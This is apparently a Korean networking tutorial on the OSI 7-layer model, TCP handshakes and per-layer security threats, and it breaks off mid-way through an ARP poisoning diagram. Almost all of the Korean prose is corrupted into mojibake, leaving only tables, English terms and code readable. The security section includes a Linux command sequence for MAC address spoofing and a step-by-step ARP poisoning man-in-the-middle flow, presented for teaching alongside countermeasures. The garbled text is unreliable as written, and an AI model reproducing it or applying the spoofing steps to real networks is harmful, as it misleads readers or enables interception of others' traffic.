์์งํ ๋งํ๋ฉด, OSI 7๊ณ์ธต์ ์ฒ์์ ๊ทธ๋ฅ ์ธ์ ๋ค.
"๋ฌผ๋ฐ๋ค์ ์ธํ์" ๊ฐ์ ์๊ธฐ๋ฒ์ผ๋ก 1๊ณ์ธต๋ถํฐ 7๊ณ์ธต๊น์ง ์์๋ ์ธ์ ๋๋ฐ, ์ค์ ๋ก ๋ญ๊ฐ ๋ฌธ์ ๊ฐ ์๊ฒผ์ ๋ "์ด๊ฒ ๋ช ๊ณ์ธต ๋ฌธ์ ์ธ๊ฐ์?"๋ผ๋ ์ง๋ฌธ ์์์ ์์ฃผ ๋ฉ์นซํ๋ค.
์ด ๊ธ์ ๊ทธ๋ฅ ์ธ์ฐ๋ ๊ฒ ์๋๋ผ ์ ์ด๋ ๊ฒ ๋๋์๋์ง, ์ค์ ๋ก ์ด๋ค ์ฅ๋ฉด์์ ๋ฑ์ฅํ๋์ง๋ฅผ ์ค์ฌ์ผ๋ก ์ ๋ฆฌํ ๊ฑฐ๋ค. ๊ธฐ๋ณธ ๊ฐ๋ ์์ ์์ํด์ ๋ณด์ ์ํ, TCP ํธ๋์ ฐ์ดํฌ ์์ธ, Wireshark ์ค์ต, ๊ทธ๋ฆฌ๊ณ ์ค๋ฌด์์ ์์ฃผ ๋ง๋๋ ํธ๋ฌ๋ธ์ํ ์ผ์ด์ค๊น์ง ๋ค๋ฃฌ๋ค.
์ 7๊ณ์ธต์ผ๋ก ๋๋ด์๊น?
1970~80๋ ๋, ๊ฐ ํ์ฌ๋ค์ ์๊ธฐ ๋คํธ์ํฌ ์ฅ๋น๋ผ๋ฆฌ๋ง ํต์ ๋๋ ๋ ์ ๊ท๊ฒฉ์ ๋ง๋ค์๋ค. IBM ์ฅ๋น๋ IBM๋ผ๋ฆฌ, DEC ์ฅ๋น๋ DEC๋ผ๋ฆฌ๋ง ๋๋ค.
์ด๊ฒ ๋ฌธ์ ๊ฐ ๋์ ISO(๊ตญ์ ํ์คํ๊ธฐ๊ตฌ)๊ฐ ๋์์ "๋คํธ์ํฌ ํต์ ์ ์ด๋ ๊ฒ ํ์คํํ์"๋ฉฐ ๋ง๋ ๊ฒ OSI(Open Systems Interconnection) ๋ชจ๋ธ์ด๋ค.1 1984๋ ์ ๊ณต์ ๋ฐํ๋๋ค.
ํต์ฌ ์์ด๋์ด๋ "์ญํ ์ ๋ถ๋ฆฌํ์"๋ ๊ฒ์ด๋ค.
์ผ์ด๋ธ์ด ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ฐ๊ฒฐ๋๋ ๋ฌธ์ , IP ์ฃผ์๋ก ์ฐพ์๊ฐ๋ ๋ฌธ์ , ๋ฐ์ดํฐ๊ฐ ๊นจ์ง์ง ์๊ฒ ์ ๋ฌํ๋ ๋ฌธ์ โ ์ด๊ฑธ ํ ๋ฉ์ด๋ฆฌ๋ก ์ฒ๋ฆฌํ๋ฉด ์ด๋ ํ ๋ถ๋ถ๋ง ๋ฐ๊พธ๊ธฐ๊ฐ ์ด๋ ต๋ค. ๊ณ์ธต์ ๋๋๋ฉด ๊ฐ ๊ณ์ธต์ ์๋ ๊ณ์ธต์์ ๋ญ๊ฐ๋ฅผ ๋ฐ์์ ์ฒ๋ฆฌํ๊ณ ์ ๊ณ์ธต์ผ๋ก ๋๊ธฐ๊ธฐ๋ง ํ๋ฉด ๋๋ค.
๊ฐ ๊ณ์ธต์ ์ค์ ๋ก ์ดํดํ๊ธฐ
1๊ณ์ธต โ ๋ฌผ๋ฆฌ (Physical)
๋ง ๊ทธ๋๋ก ๋ฌผ๋ฆฌ์ ์ธ ์ ํธ๋ค. 0๊ณผ 1์ ์ ๊ธฐ ์ ํธ, ๋น ์ ํธ, ์ ํ๋ก ๋ณํํด์ ์ผ์ด๋ธ์ด๋ ๊ณต๊ธฐ ์ค์ผ๋ก ์ ๋ฌํ๋ค.
- ์ฅ๋น: ์ผ์ด๋ธ, ํ๋ธ, ๋ฆฌํผํฐ, ๊ด์ฌ์
- ๋จ์: ๋นํธ(bit)
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: "LAN ์ผ์ด๋ธ ๋ฝํ์ด์" โ ์ด๊ฒ 1๊ณ์ธต ๋ฌธ์ ๋ค. ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ฐ๊ฒฐ์ด ์ ๋๋ฉด ๊ทธ ์ ๊ณ์ธต์ ์๋ฌด ์๋ฏธ๊ฐ ์๋ค.
2๊ณ์ธต โ ๋ฐ์ดํฐ๋งํฌ (Data Link)
๊ฐ์ ๋คํธ์ํฌ ์(๊ฐ์ LAN)์์ ์ด๋ ์ฅ์น์์ ์ด๋ ์ฅ์น๋ก ๋ณด๋ผ์ง ๊ฒฐ์ ํ๋ ๊ณ์ธต์ด๋ค. ์ด๋ ์ฌ์ฉํ๋ ์ฃผ์๊ฐ MAC ์ฃผ์๋ค.
- ์ฅ๋น: ์ค์์น, ๋ธ๋ฆฟ์ง, ๋ฌด์ AP
- ๋จ์: ํ๋ ์(Frame)
- ์ฃผ์: MAC ์ฃผ์ (์:
AA:BB:CC:DD:EE:FF)
MAC ์ฃผ์๋ ๋คํธ์ํฌ ์นด๋์ ํ๋์จ์ด์ ์ผ๋ก ๋ถ์ฌ๋ ๊ณ ์ ์ฃผ์๋ค. ์ ์กฐ์ฌ์์ ์ด๋ฏธ ์๊ฒจ์ ๋์จ๋ค.
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: ์ค์์น๋ 2๊ณ์ธต ์ฅ๋น๋ค. ์ค์์น๋ "์ด MAC ์ฃผ์๋ฅผ ๊ฐ์ง ์ฅ์น๋ ๋ช ๋ฒ ํฌํธ์ ์๋ค"๋ ํ ์ด๋ธ์ ๊ด๋ฆฌํ๋ฉด์ ํจํท์ ํด๋น ํฌํธ๋ก๋ง ๋ณด๋ธ๋ค. ARP(Address Resolution Protocol)๋ 2๊ณ์ธต๊ณผ 3๊ณ์ธต ์ฌ์ด์์ ๋์ํ๋ค โ IP ์ฃผ์์ ๋์ํ๋ MAC ์ฃผ์๋ฅผ ์ฐพ๋ ํ๋กํ ์ฝ์ด๋ค.
3๊ณ์ธต โ ๋คํธ์ํฌ (Network)
๋ค๋ฅธ ๋คํธ์ํฌ ๊ฐ ํต์ ์ ๋ด๋นํ๋ค. ๋ด ์ง ๊ณต์ ๊ธฐ์์ ๊ตฌ๊ธ ์๋ฒ๊น์ง ์ฐพ์๊ฐ๋ ๊ฒฝ๋ก๋ฅผ ๊ฒฐ์ ํ๋ ๊ณ์ธต์ด๋ค. ์ด๋ ์ฌ์ฉํ๋ ์ฃผ์๊ฐ IP ์ฃผ์๋ค.
- ์ฅ๋น: ๋ผ์ฐํฐ, L3 ์ค์์น
- ๋จ์: ํจํท(Packet)
- ์ฃผ์: IP ์ฃผ์ (์:
192.168.1.1)
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: ๋ผ์ฐํฐ๋ 3๊ณ์ธต ์ฅ๋น๋ค. ๋ผ์ฐํฐ๋ ๋ชฉ์ ์ง IP ์ฃผ์๋ฅผ ๋ณด๊ณ "์ด ํจํท์ ์ด๋ ๋ฐฉํฅ์ผ๋ก ๋ณด๋ด์ผ ํ๋"๋ฅผ ๊ฒฐ์ ํ๋ค. TTL(Time To Live)๋ 3๊ณ์ธต ๊ฐ๋ โ ํจํท์ด ๋ผ์ฐํฐ๋ฅผ ํ๋์ฉ ์ง๋ ๋๋ง๋ค 1์ฉ ์ค๊ณ , 0์ด ๋๋ฉด ํจํท์ ๋ฒ๋ฆฐ๋ค. (traceroute๊ฐ ์ด ์๋ฆฌ๋ฅผ ์ด์ฉํ๋ค.)
4๊ณ์ธต โ ์ ์ก (Transport)
๋ฐ์ดํฐ๊ฐ ๋น ์ง์์ด, ์์๋๋ก ๋์ฐฉํ๊ฒ ํ๋ ๊ณ์ธต์ด๋ค. ์ด ๊ณ์ธต์์ TCP์ UDP๊ฐ ๋์ํ๋ค.
- ๋จ์: ์ธ๊ทธ๋จผํธ(Segment, TCP) / ๋ฐ์ดํฐ๊ทธ๋จ(Datagram, UDP)
- ์ฃผ์: ํฌํธ ๋ฒํธ (์: 80, 443, 22)
| TCP | UDP | |
|---|---|---|
| ์ฐ๊ฒฐ ๋ฐฉ์ | ์ฐ๊ฒฐ ์๋ฆฝ ํ ํต์ (3-way handshake) | ์ฐ๊ฒฐ ์์ด ๋ฐ๋ก ์ ์ก |
| ์ ๋ขฐ์ฑ | ์์ ๋ณด์ฅ, ์์ค ์ ์ฌ์ ์ก | ๋ณด์ฅ ์์ |
| ์๋ | ์๋์ ์ผ๋ก ๋๋ฆผ | ๋น ๋ฆ |
| ์ฌ์ฉ ์ | HTTP, SSH, FTP | DNS, ์คํธ๋ฆฌ๋ฐ, ๊ฒ์ |
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: ๋ฐฉํ๋ฒฝ ์ ์ฑ ์์ "TCP 443 ํ์ฉ"์ด๋ผ๊ณ ์ธ ๋ โ ์ด๊ฒ 4๊ณ์ธต์ด๋ค. IP ์ฃผ์(3๊ณ์ธต) + ํฌํธ ๋ฒํธ(4๊ณ์ธต)๋ฅผ ์กฐํฉํด์ "์ด๋ค ์๋น์ค์ ๋ํ ํต์ ์ ํ์ฉ/์ฐจ๋จํ๋ค"๋ ์๋ฏธ๋ค.
5๊ณ์ธต โ ์ธ์ (Session)
๋ ์์คํ ๊ฐ์ ์ฐ๊ฒฐ(์ธ์ )์ ์๋ฆฝํ๊ณ , ์ ์งํ๊ณ , ์ข ๋ฃํ๋ ๊ณ์ธต์ด๋ค. ๋ก๊ทธ์ธ ์ํ๋ฅผ ์ ์งํ๊ฑฐ๋, ํ์ผ ์ ์ก ์ค๊ฐ์ ๋๊ฒผ๋ค๊ฐ ์ด์ด๋ฐ๋ ๊ธฐ๋ฅ์ด ์ด ๊ณ์ธต๊ณผ ๊ด๋ จ์ด ์๋ค.
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: ์์งํ 5๊ณ์ธต์ ๋ ๋ฆฝ์ ์ผ๋ก "์ด๊ฒ 5๊ณ์ธต ๋ฌธ์ ๋ค"๋ผ๊ณ ๋ช ํํ ๊ตฌ๋ถํ๊ธฐ ์ด๋ ต๋ค. ์ค์ TCP/IP ์คํ์์๋ 4๊ณ์ธต๊ณผ ํฉ์ณ์ ์ฒ๋ฆฌ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ์น ์๋ฒ์ ์ธ์ ํ ํฐ, RPC ์ฐ๊ฒฐ ๋ฑ์ด ์ฌ๊ธฐ ํด๋นํ๋ค.
6๊ณ์ธต โ ํํ (Presentation)
๋ฐ์ดํฐ์ ํ์๊ณผ ํํ ๋ฐฉ์์ ๋ด๋นํ๋ค. ์ํธํ, ์์ถ, ์ธ์ฝ๋ฉ์ด ์ด ๊ณ์ธต์์ ์ด๋ฃจ์ด์ง๋ค.
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: HTTPS์์ TLS ์ํธํ๊ฐ ์ฌ๊ธฐ ํด๋นํ๋ค. ํ ์คํธ๋ฅผ Base64๋ก ์ธ์ฝ๋ฉํ๊ฑฐ๋, ์ด๋ฏธ์ง๋ฅผ JPEG์ผ๋ก ์์ถํ๋ ๊ฒ๋ 6๊ณ์ธต ๊ฐ๋ ์ด๋ค.
7๊ณ์ธต โ ์์ฉ (Application)
์ฌ์ฉ์๊ฐ ์ง์ ์ฌ์ฉํ๋ ํ๋กํ ์ฝ์ด ์ฌ๊ธฐ ์๋ค. HTTP, HTTPS, FTP, SMTP, DNS ๋ฑ์ด ๋ชจ๋ 7๊ณ์ธต์ด๋ค.
์ค์ ๋ฑ์ฅ ์ฅ๋ฉด: ๋ธ๋ผ์ฐ์ ์์ URL ์ ๋ ฅ, ์ด๋ฉ์ผ ๋ฐ์ก, FTP ํ์ผ ์ ์ก โ ์ด ๋ชจ๋ ๊ฒ 7๊ณ์ธต์์ ์์ํ๋ค.
๋ฐ์ดํฐ๊ฐ ์ค์ ๋ก ์ด๋ํ๋ ๋ฐฉ์ โ ์บก์ํ์ ์ญ์บก์ํ
๊ณ์ธต ๊ตฌ์กฐ์ ํต์ฌ์ ์บก์ํ(Encapsulation)๋ค.
๋ฐ์ดํฐ๋ฅผ ๋ณด๋ผ ๋, ๊ฐ ๊ณ์ธต์ ์๊ธฐ ๊ณ์ธต์ ํค๋๋ฅผ ๋ฐ์ดํฐ ์์ ๋ถ์ธ๋ค. ๋ฐ๋ ์ชฝ์์๋ ๋ฐ๋๋ก ๊ณ์ธต๋ง๋ค ํค๋๋ฅผ ํ๋์ฉ ๋ฒ๊ฒจ๊ฐ๋ฉฐ ์๋ณธ ๋ฐ์ดํฐ์ ๋๋ฌํ๋ค.
์บก์ํ (์ก์ ์ธก) โ ๊ณ์ธต์ ๋ด๋ ค๊ฐ๋ฉด์ ํค๋๋ฅผ ํ๋์ฉ ์ถ๊ฐํ๋ค:
์ญ์บก์ํ (์์ ์ธก) โ ๋ฐ๋๋ก ๊ณ์ธต์ ์ฌ๋ผ๊ฐ๋ฉด์ ํค๋๋ฅผ ํ๋์ฉ ๋ฒ๊ฒจ๋ธ๋ค:
OSI vs TCP/IP โ ์ค์ ๋ก ์ฐ์ด๋ ๊ฑด ์ด๋ ๊ฒ?
์์งํ ๋งํ๋ฉด, ํ์ค์์๋ TCP/IP ๋ชจ๋ธ์ ๋ ๋ง์ด ์ด๋ค.
OSI 7๊ณ์ธต์ ์ด๋ก ์ ์ฐธ์กฐ ๋ชจ๋ธ์ด๊ณ , ์ค์ ์ธํฐ๋ท์ TCP/IP 4๊ณ์ธต ๋ชจ๋ธ๋ก ๋์ํ๋ค.
| OSI 7๊ณ์ธต | TCP/IP 4๊ณ์ธต |
|---|---|
| 7. ์์ฉ (Application) | ์์ฉ (Application) |
| 6. ํํ (Presentation) | โ (ํตํฉ) |
| 5. ์ธ์ (Session) | โ (ํตํฉ) |
| 4. ์ ์ก (Transport) | ์ ์ก (Transport) |
| 3. ๋คํธ์ํฌ (Network) | ์ธํฐ๋ท (Internet) |
| 2. ๋ฐ์ดํฐ๋งํฌ (Data Link) | ๋คํธ์ํฌ ์ ๊ทผ (Network Access) |
| 1. ๋ฌผ๋ฆฌ (Physical) | โ (ํตํฉ) |
TCP/IP์์๋ OSI 5, 6, 7๊ณ์ธต์ด ํ๋์ ์์ฉ ๊ณ์ธต์ผ๋ก ํฉ์ณ์ง๊ณ , 1, 2๊ณ์ธต์ด ๋คํธ์ํฌ ์ ๊ทผ ๊ณ์ธต์ผ๋ก ํฉ์ณ์ง๋ค.
๊ทธ๋ผ์๋ OSI 7๊ณ์ธต์ด ์ค์ํ ์ด์ ๋, ๋ฌธ์ ๋ฅผ ์ง๋จํ ๋ ๊ณ์ธต๋ณ๋ก ์์ธ์ ์ขํ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
์ผ์ด๋ธ์ด ๋ฌธ์ ์ธ์ง(1๊ณ์ธต), IP ์ค์ ์ด ๋ฌธ์ ์ธ์ง(3๊ณ์ธต), ํฌํธ๊ฐ ๋งํ๋์ง(4๊ณ์ธต), ์ ํ๋ฆฌ์ผ์ด์ ์ค์ ์ด ์๋ชป๋๋์ง(7๊ณ์ธต) โ ์ด๋ ๊ฒ ๊ณ์ธต๋ณ๋ก ์๊ฐํ๋ฉด ๋ฌธ์ ๊ฐ ์ด๋ ์๋์ง ํจ์ฌ ๋น ๋ฅด๊ฒ ์ฐพ์ ์ ์๋ค.
์ค์ HTTP ์์ฒญ์ด OSI ๊ณ์ธต์ ํ๊ณ ํ๋ฅด๋ ๋ฐฉ์
๋ธ๋ผ์ฐ์ ์์ https://google.com์ ์
๋ ฅํ๋ฉด ์ด๋ค ์ผ์ด ์ผ์ด๋ ๊น? ๊ณ์ธต๋ณ๋ก ๋ฐ๋ผ๊ฐ ๋ณด์.
๋จ๊ณ๋ณ ์ค๋ช
7๊ณ์ธต (์์ฉ): ๋ธ๋ผ์ฐ์ ๊ฐ HTTP GET ์์ฒญ์ ๋ง๋ ๋ค. ๋ชฉ์ ์ง URL์ ๋ถ์ํ๊ณ , DNS ์กฐํ๋ก google.com์ IP ์ฃผ์(142.250.196.110)๋ฅผ ์์๋ธ๋ค.
6๊ณ์ธต (ํํ): HTTPS์ด๋ฏ๋ก TLS ํธ๋์ ฐ์ดํฌ๊ฐ ์ผ์ด๋๋ค. ์๋ฒ ์ธ์ฆ์๋ฅผ ๊ฒ์ฆํ๊ณ , ๋์นญ ํค๋ฅผ ํ์ํด์ ์ดํ ๋ฐ์ดํฐ๋ฅผ ์ํธํํ๋ค.
5๊ณ์ธต (์ธ์ ): TCP ์ฐ๊ฒฐ์ ๊ธฐ๋ฐ์ผ๋ก ์ธ์ ์ด ์๋ฆฝ๋๋ค. HTTP/1.1์ด๋ผ๋ฉด Keep-Alive๋ก ์ธ์ ์ ์ ์งํ๊ณ , HTTP/2๋ผ๋ฉด ์คํธ๋ฆผ ๊ธฐ๋ฐ์ผ๋ก ๋ค์คํํ๋ค.
4๊ณ์ธต (์ ์ก): TCP๊ฐ ์์ฒญ ๋ฐ์ดํฐ๋ฅผ ์ธ๊ทธ๋จผํธ๋ก ์ชผ๊ฐ๊ณ , ํฌํธ ๋ฒํธ(์ถ๋ฐ์ง: ๋๋ค ํฌํธ ์: 54321, ๋ชฉ์ ์ง: 443)๋ฅผ ๋ถ์ธ๋ค. 3-way handshake๋ก ๋จผ์ ์ฐ๊ฒฐ์ ์๋ฆฝํ๋ค.
3๊ณ์ธต (๋คํธ์ํฌ): IP ํค๋๊ฐ ๋ถ๋๋ค. ์ถ๋ฐ์ง IP(๋ด ๊ณต์ธ IP ๋๋ ์ฌ์ค IP), ๋ชฉ์ ์ง IP(142.250.196.110), TTL ๋ฑ์ด ํฌํจ๋๋ค. ๋ผ์ฐํ ํ ์ด๋ธ์ ์ฐธ์กฐํด ๊ฒ์ดํธ์จ์ด(๊ณต์ ๊ธฐ)๋ก ํจํท์ ๋ณด๋ธ๋ค.
2๊ณ์ธต (๋ฐ์ดํฐ๋งํฌ): ARP๋ก ๊ฒ์ดํธ์จ์ด์ MAC ์ฃผ์๋ฅผ ํ์ธํ๋ค. ์ด๋๋ท ํ๋ ์์ผ๋ก ๊ฐ์ธ์ ๋ฌผ๋ฆฌ ๋งค์ฒด๋ก ์ ๋ฌํ๋ค.
1๊ณ์ธต (๋ฌผ๋ฆฌ): ๋นํธ๊ฐ ์ ๊ธฐ ์ ํธ๋ ๊ด์ ํธ๋ก ๋ณํ๋ผ ์ผ์ด๋ธ์ด๋ ๋ฌด์ ์ผ๋ก ์ ์ก๋๋ค.
์ด ํ๋ฆ์์ DNS ์กฐํ ์์ฒด๋ UDP 53๋ฒ ํฌํธ๋ฅผ ํตํด OSI ์ ๊ณ์ธต์ ๊ฑฐ์น๋ค. https://google.com ํ ๋ฒ ์
๋ ฅ์ ์ต์ 2๋ฒ์ ์์ ํ OSI ์คํ ํต์ ์ด ์ผ์ด๋๋ ์
์ด๋ค(DNS + HTTPS).
TCP 3-way Handshake / 4-way Handshake ์์ธ
TCP์ ์ ๋ขฐ์ฑ์ ์ฐ๊ฒฐ ์๋ฆฝ๊ณผ ์ข ๋ฃ ๊ณผ์ ์์ ๋์จ๋ค. ์ด ๋ถ๋ถ์ 4๊ณ์ธต์ ํต์ฌ์ด๋ฉด์, ๋ณด์ ๊ณต๊ฒฉ(SYN Flood)์ ๋์์ด๊ธฐ๋ ํ๋ค.
3-way Handshake โ ์ฐ๊ฒฐ ์๋ฆฝ
TCP ์ฐ๊ฒฐ์ ์ด ๋ ์ธ ๋จ๊ณ๋ฅผ ๊ฑฐ์น๋ค.
๊ฐ ๋จ๊ณ์ ์๋ฏธ:
- SYN (Synchronize): ํด๋ผ์ด์ธํธ๊ฐ "๋ ์ฐ๊ฒฐํ ๊ฒ, ๋ด ์ด๊ธฐ ์ํ์ค ๋ฒํธ๋ 100์ด์ผ"๋ผ๊ณ ์๋ฆฐ๋ค. ์๋ฒ๋ ์ด ์์ฒญ์ ๋ฐ๊ณ half-open ์ํ๋ก ๋๊ธฐํ๋ค.
- SYN-ACK: ์๋ฒ๊ฐ "์๊ฒ ์ด, ๊ทธ๋ฆฌ๊ณ ๋ด ์ํ์ค ๋ฒํธ๋ 200์ด์ผ"๋ผ๊ณ ์๋ตํ๋ค.
ack=101์ "100๋ฒ ๋ฐ์์ผ๋ ๋ค์์ 101๋ฒ ์ค"๋ผ๋ ์๋ฏธ๋ค. - ACK (Acknowledge): ํด๋ผ์ด์ธํธ๊ฐ "์ข์, ๋๋ ๋ค 200๋ฒ ๋ฐ์์ด. ๋ค์์ 201๋ฒ ์ค"๋ผ๊ณ ํ์ธํ๋ค. ์ด์ ์๋ฐฉํฅ ํต์ ์ด ์ด๋ฆฐ๋ค.
์ํ์ค ๋ฒํธ๋ฅผ ๊ตํํ๋ ์ด์ ๋ ๋ฐ์ดํฐ ์์๋ฅผ ๋ณด์ฅํ๊ธฐ ์ํด์๋ค. ํจํท์ด ๋ค๋ฅธ ๊ฒฝ๋ก๋ก ์์ ์์๊ฐ ๋ค๋ฐ๋์ด๋, ์ํ์ค ๋ฒํธ๋ก ์ฌ๋ฐ๋ฅธ ์์๋ก ์ฌ์กฐํฉํ๋ค.
4-way Handshake โ ์ฐ๊ฒฐ ์ข ๋ฃ
์ฐ๊ฒฐ์ ๋ซ์ ๋๋ ์๋ฐฉํฅ์ ๊ฐ๊ฐ ๋์ด์ผ ํ๋ฏ๋ก ๋ค ๋จ๊ณ๊ฐ ํ์ํ๋ค.
TIME_WAIT ์ํ๋?
ํด๋ผ์ด์ธํธ๊ฐ ๋ง์ง๋ง ACK๋ฅผ ๋ณด๋ธ ๋ค ๋ฐ๋ก ๋ซ์ง ์๊ณ 2MSL(Maximum Segment Lifetime, ๋ณดํต 60~120์ด) ๋์ ๊ธฐ๋ค๋ฆฌ๋ ์ํ๋ค.
์ด์ ๊ฐ ๋ ๊ฐ์ง๋ค:
- ๋ง์ง๋ง ACK๊ฐ ์ ์ค๋์ ๋: ์๋ฒ๊ฐ ACK๋ฅผ ๋ชป ๋ฐ์ผ๋ฉด FIN์ ์ฌ์ ์กํ๋ค. ํด๋ผ์ด์ธํธ๊ฐ ์ด๋ฏธ ๋ซํ๋ค๋ฉด ์๋ฒ๊ฐ ์์ํ ๊ธฐ๋ค๋ฆฌ๊ฒ ๋๋ค. TIME_WAIT ๋์ ์ฌ์ ์ก๋ FIN์ ๋ฐ์ผ๋ฉด ๋ค์ ACK๋ฅผ ๋ณด๋ผ ์ ์๋ค.
- ์ด์ ์ฐ๊ฒฐ์ ํจํท์ด ์ ์ฐ๊ฒฐ์ ์์ด๋ ๊ฒ ๋ฐฉ์ง: ๊ฐ์ ํฌํธ๋ก ๋ฐ๋ก ์ ์ฐ๊ฒฐ์ ๋งบ์ผ๋ฉด, ์ง์ฐ ๋์ฐฉํ ์ด์ ํจํท์ด ์ ์ฐ๊ฒฐ์ ๋ฐ์ดํฐ์ฒ๋ผ ์ฒ๋ฆฌ๋ ์ ์๋ค. 2MSL์ด ์ง๋๋ฉด ์ด์ ํจํท์ ๋ชจ๋ ๋คํธ์ํฌ์์ ์ฌ๋ผ์ง๋ค.
์ค๋ฌด์์๋ ์๋ฒ๊ฐ ๋ง์ ์ฐ๊ฒฐ์ ์ฒ๋ฆฌํ ๋ TIME_WAIT ์์ผ์ด ์์ฌ์ ํฌํธ๊ฐ ๊ณ ๊ฐ๋๋ ๋ฌธ์ ๊ฐ ์๊ธฐ๊ธฐ๋ ํ๋ค. ss -tan | grep TIME_WAIT | wc -l๋ก ํ์ธํ ์ ์๋ค.
๊ณ์ธต๋ณ ๋ณด์ ์ํ๊ณผ ๋์ ๋ฐฉ๋ฒ
OSI ๊ณ์ธต์ ์ดํดํ๋ฉด ๋ณด์ ๊ณต๊ฒฉ์ด ์ด๋ ๊ณ์ธต์ ๋ ธ๋ฆฌ๋์ง ํ์ ํ๊ธฐ ์ฌ์์ง๋ค. ๊ณ์ธต๋ณ๋ก ๋ํ์ ์ธ ์ํ๊ณผ ๋์ ๋ฐฉ๋ฒ์ ์ ๋ฆฌํ๋ค.
๊ณ์ธต๋ณ ์ํ ์์ฝํ
| ๊ณ์ธต | ๋ํ ์ํ | ๋์ ๋ฐฉ๋ฒ |
|---|---|---|
| 1๊ณ์ธต (๋ฌผ๋ฆฌ) | ๋ฌผ๋ฆฌ ๋์ฒญ, ์ผ์ด๋ธ ํญํ | ๋ฌผ๋ฆฌ์ ์ ๊ทผ ํต์ , ๊ด์ผ์ด๋ธ ์ฌ์ฉ |
| 2๊ณ์ธต (๋ฐ์ดํฐ๋งํฌ) | MAC Spoofing, ARP Poisoning | Dynamic ARP Inspection, Port Security |
| 3๊ณ์ธต (๋คํธ์ํฌ) | IP Spoofing, ICMP Flood | uRPF, ๋ฐฉํ๋ฒฝ ingress ํํฐ๋ง |
| 4๊ณ์ธต (์ ์ก) | SYN Flood, ํฌํธ ์ค์บ๋ | SYN Cookie, Rate Limiting, ๋ฐฉํ๋ฒฝ |
| 7๊ณ์ธต (์์ฉ) | XSS, SQL Injection, HTTP Smuggling | WAF, ์ ๋ ฅ ๊ฒ์ฆ, ํ๋ผ๋ฏธํฐํ ์ฟผ๋ฆฌ |
1๊ณ์ธต: ๋ฌผ๋ฆฌ ๋์ฒญ (Physical Tapping)
๊ณต๊ฒฉ ๋ฐฉ์: ์ด๋๋ท ์ผ์ด๋ธ์ ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ ์ดํด ์ ํธ๋ฅผ ๋ณต์ฌํ๊ฑฐ๋, ๋ฌด์ ์ ํธ๋ฅผ ์บก์ฒํ๋ค. ํ๋ธ(Hub) ํ๊ฒฝ์์๋ ๊ฐ์ ์ธ๊ทธ๋จผํธ์ ๋ชจ๋ ํธ๋ํฝ์ด ๋ชจ๋ ํฌํธ๋ก ๋๊ฐ๊ธฐ ๋๋ฌธ์ ํนํ ์ทจ์ฝํ๋ค.
์ค์ ์ฌ๋ก: ์คํ Wi-Fi์์ ํจํท ์บก์ฒ. ํ๋ธ ๊ธฐ๋ฐ ๋คํธ์ํฌ์์ Wireshark๋ก ํ PC ํธ๋ํฝ ๊ฐ์ฒญ.
๋์:
- ํ๋ธ ๋์ ์ค์์น๋ฅผ ์ฌ์ฉํ๋ค (์ค์์น๋ ํด๋น ํฌํธ์๋ง ํธ๋ํฝ ์ ์ก).
- ๋ฌด์ ๊ตฌ๊ฐ์ WPA3 ์ํธํ๋ฅผ ์ ์ฉํ๋ค.
- ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ค์ํ ๊ตฌ๊ฐ์ ๊ด์ผ์ด๋ธ์ ์ฌ์ฉํ๋ค (๊ด์ผ์ด๋ธ์ ํญํ์ด ๋งค์ฐ ์ด๋ ต๊ณ , ์๋ ์ ์ ํธ ๊ฐ์ ๋ก ํ์ง ๊ฐ๋ฅ).
- ๋ฐ์ดํฐ์ผํฐ ๊ธฐ์ค์ผ๋ก๋ ๋ฝ(lock)์ด ์๋ ์ผ์ด๋ธ ์ ๊ธ์ฅ์น, CCTV๋ฅผ ํ์ฉํ๋ค.
2๊ณ์ธต: MAC Spoofing / ARP Poisoning
MAC Spoofing (MAC ์ฃผ์ ์์ฅ)
๊ณต๊ฒฉ์๊ฐ ์์ ์ ๋คํธ์ํฌ ์นด๋ MAC ์ฃผ์๋ฅผ ๋ค๋ฅธ ์ฅ์น์ MAC ์ฃผ์๋ก ๋ฐ๊ฟ ์ค์์น๋ฅผ ์์ด๋ ๊ณต๊ฒฉ์ด๋ค.
# Linux์์ MAC ์ฃผ์ ๋ณ๊ฒฝ (ํ
์คํธ ์ฉ๋)
ip link set eth0 down
ip link set eth0 address AA:BB:CC:DD:EE:FF
ip link set eth0 up์ค์์น๋ MAC ์ฃผ์ ๊ธฐ๋ฐ์ผ๋ก ํฌํธ๋ฅผ ๊ฒฐ์ ํ๋ฏ๋ก, MAC์ ์์ฅํ๋ฉด ๋ค๋ฅธ ์ฅ์น๋ก ํฅํ๋ ํธ๋ํฝ์ ๊ฐ๋ก์ฑ ์ ์๋ค.
ARP Poisoning (ARP ์บ์ ์ค์ผ)
ARP๋ "์ด IP ์ฃผ์์ ํด๋นํ๋ MAC ์ฃผ์๊ฐ ๋ญ์ผ?"๋ฅผ ๋ฌป๋ ํ๋กํ ์ฝ์ด๋ค. ARP์๋ ์ธ์ฆ ๋ฉ์ปค๋์ฆ์ด ์๋ค. ๊ณต๊ฒฉ์๊ฐ ๊ฐ์ง ARP ์๋ต์ ๋ณด๋ด ํผํด์์ ARP ์บ์๋ฅผ ์ค์ผ์ํค๋ฉด, ํผํด์์ ํธ๋ํฝ์ด ๊ณต๊ฒฉ์๋ฅผ ๊ฑฐ์ณ ๊ฐ๊ฒ ๋๋ค โ ์ด๊ฒ์ด ARP ์คํธํ/๋งจ์ธ๋๋ฏธ๋ค(MitM) ๊ณต๊ฒฉ์ด๋ค.
[ํผํด์] โ ARP: "192.168.1.1(๊ฒ์ดํธ์จ์ด)์ MAC์?"
[๊ณต๊ฒฉ์] โ ARP Reply: "192.168.1.1์ MAC์ ๋ด MAC์ด์ผ" (๊ฑฐ์ง)
[ํผํด์] โ ARP ์บ์์ ์๋ชป๋ ์ ๋ณด ์ ์ฅ
[ํผํด์] โ ์ดํ ๊ฒ์ดํธ์จ์ด๋ก ๋ณด๋ด๋ ํธ๋ํฝ์ด ๊ณต๊ฒฉ์์๊ฒ ์ ๋ฌ๋์:
